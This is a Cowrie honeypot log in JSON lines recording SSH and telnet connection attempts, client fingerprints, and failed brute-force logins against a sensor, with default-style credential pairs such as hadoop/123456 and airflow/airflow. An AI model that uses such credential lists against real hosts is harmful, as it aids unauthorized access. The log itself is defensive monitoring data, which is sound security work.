{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeOgp7KlxWcvkya/UqkXg+pBcQk5OlAwCaIdbTitnDNzN99gUQ8whNDKUFNyALr21DrIK4TyRSrwINnaqkwLjDcG+JzavKtkLAf27Dzk0q79iCEz1H//FG/lwy4XZXZbwnsK0nRq/JqS1gLJ7ro/OTxU9DtG5E4WrhsMRduIsIP7kzbretR9nI8SJ3NDaTsyvTlPzkZm6nF0d51F1tnHdyMDCeesKD8Rgnkt4Fh+W6rpV/yJb7al2GM+bVWuDgRQcYVeZA/iV5Bb5bGRpnpdgP8DlqsJKeyI7vNSb5cwG1QBooSq6BCVnZ/whumcJz4gI1Bxmwu7znJspruUT3kdPt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.395643Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9kX/S32inxrQaQneMkwpHPHO7PsuLy2WgUKSvDLlz1bgb94rd2Hm+Hdnz3zlJLF7y+rNhWxrjX8AjtP2Pt3F+9lSQwfULokgQ/dudefMqmkJHli848Qeaua7m7VlRGS5MOgyHrqy+05ZPRQ4NUmi68eNsNWEjSVRwQ6jK6KtVI6i4F1DUzKCGDgC7NU4O6d/ZGynZwT18+Ey6g+n0rYjez/qZwkD8wD7ZeNyR5zCJizaOqcXhb0rDswgtfqnC/43oJK+6Oggz2eKjhrGwspJVy4nAm+KAUefIC4QPZQ1ssyGy2JKkZ2S8XNNiEWprvzhk0nBeLonQaztURLQa/HF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.498888Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9kX/S32inxrQaQneMkwpHPHO7PsuLy2WgUKSvDLlz1bgb94rd2Hm+Hdnz3zlJLF7y+rNhWxrjX8AjtP2Pt3F+9lSQwfULokgQ/dudefMqmkJHli848Qeaua7m7VlRGS5MOgyHrqy+05ZPRQ4NUmi68eNsNWEjSVRwQ6jK6KtVI6i4F1DUzKCGDgC7NU4O6d/ZGynZwT18+Ey6g+n0rYjez/qZwkD8wD7ZeNyR5zCJizaOqcXhb0rDswgtfqnC/43oJK+6Oggz2eKjhrGwspJVy4nAm+KAUefIC4QPZQ1ssyGy2JKkZ2S8XNNiEWprvzhk0nBeLonQaztURLQa/HF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.502753Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.604694Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40134,"dst_ip":"159.203.135.109","dst_port":22,"session":"a424120304b4","protocol":"ssh","message":"New connection: 176.65.132.129:40134 (159.203.135.109:22) [session: a424120304b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.950225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.955090Z","src_ip":"176.65.132.129","session":"a424120304b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:47.037270Z","src_ip":"176.65.132.129","session":"a424120304b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:47.285226Z","src_ip":"176.65.132.129","session":"a424120304b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:48.369303Z","src_ip":"176.65.132.129","session":"a424120304b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42066,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ba8150f8f8","protocol":"telnet","message":"New connection: 45.58.127.90:42066 (10.17.0.5:23) [session: 40ba8150f8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:48.916651Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40150,"dst_ip":"159.203.135.109","dst_port":22,"session":"19eda740f51f","protocol":"ssh","message":"New connection: 176.65.132.129:40150 (159.203.135.109:22) [session: 19eda740f51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:50.324535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:50.328837Z","src_ip":"176.65.132.129","session":"19eda740f51f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:50.412005Z","src_ip":"176.65.132.129","session":"19eda740f51f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:50.665117Z","src_ip":"176.65.132.129","session":"19eda740f51f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42074,"dst_ip":"10.17.0.5","dst_port":23,"session":"4689766d6a71","protocol":"telnet","message":"New connection: 45.58.127.90:42074 (10.17.0.5:23) [session: 4689766d6a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:51.027239Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:51.853153Z","src_ip":"176.65.132.129","session":"19eda740f51f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40158,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6dfa3c4695","protocol":"ssh","message":"New connection: 176.65.132.129:40158 (159.203.135.109:22) [session: da6dfa3c4695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:53.677321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:53.681215Z","src_ip":"176.65.132.129","session":"da6dfa3c4695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:53.765404Z","src_ip":"176.65.132.129","session":"da6dfa3c4695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:54.231378Z","src_ip":"176.65.132.129","session":"da6dfa3c4695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.97688174247742,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:54.334179Z","src_ip":"45.58.127.90","session":"cf0f06945897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42090,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b38f26a5f0","protocol":"telnet","message":"New connection: 45.58.127.90:42090 (10.17.0.5:23) [session: e7b38f26a5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:54.471085Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42104,"dst_ip":"10.17.0.5","dst_port":23,"session":"13397ab6a090","protocol":"telnet","message":"New connection: 45.58.127.90:42104 (10.17.0.5:23) [session: 13397ab6a090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:54.688361Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:55.316475Z","src_ip":"176.65.132.129","session":"da6dfa3c4695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36412,"dst_ip":"159.203.135.109","dst_port":22,"session":"6752f6845419","protocol":"ssh","message":"New connection: 176.65.132.129:36412 (159.203.135.109:22) [session: 6752f6845419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:57.272223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:57.275705Z","src_ip":"176.65.132.129","session":"6752f6845419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:57.357431Z","src_ip":"176.65.132.129","session":"6752f6845419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:57.607137Z","src_ip":"176.65.132.129","session":"6752f6845419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:58.692384Z","src_ip":"176.65.132.129","session":"6752f6845419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36418,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1b228347fc","protocol":"ssh","message":"New connection: 176.65.132.129:36418 (159.203.135.109:22) [session: 8e1b228347fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:00.627107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:00.632892Z","src_ip":"176.65.132.129","session":"8e1b228347fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:00.716571Z","src_ip":"176.65.132.129","session":"8e1b228347fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:00.964656Z","src_ip":"176.65.132.129","session":"8e1b228347fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:02.072447Z","src_ip":"176.65.132.129","session":"8e1b228347fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36420,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a54d08f2370","protocol":"ssh","message":"New connection: 176.65.132.129:36420 (159.203.135.109:22) [session: 8a54d08f2370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:04.051250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:04.278610Z","src_ip":"176.65.132.129","session":"8a54d08f2370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:04.282689Z","src_ip":"176.65.132.129","session":"8a54d08f2370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:04.701341Z","src_ip":"176.65.132.129","session":"8a54d08f2370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:05.790059Z","src_ip":"176.65.132.129","session":"8a54d08f2370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58906,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d531dff024","protocol":"ssh","message":"New connection: 176.65.132.129:58906 (159.203.135.109:22) [session: d0d531dff024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:07.731515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:07.737136Z","src_ip":"176.65.132.129","session":"d0d531dff024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:07.820496Z","src_ip":"176.65.132.129","session":"d0d531dff024","protocol":"ssh"}
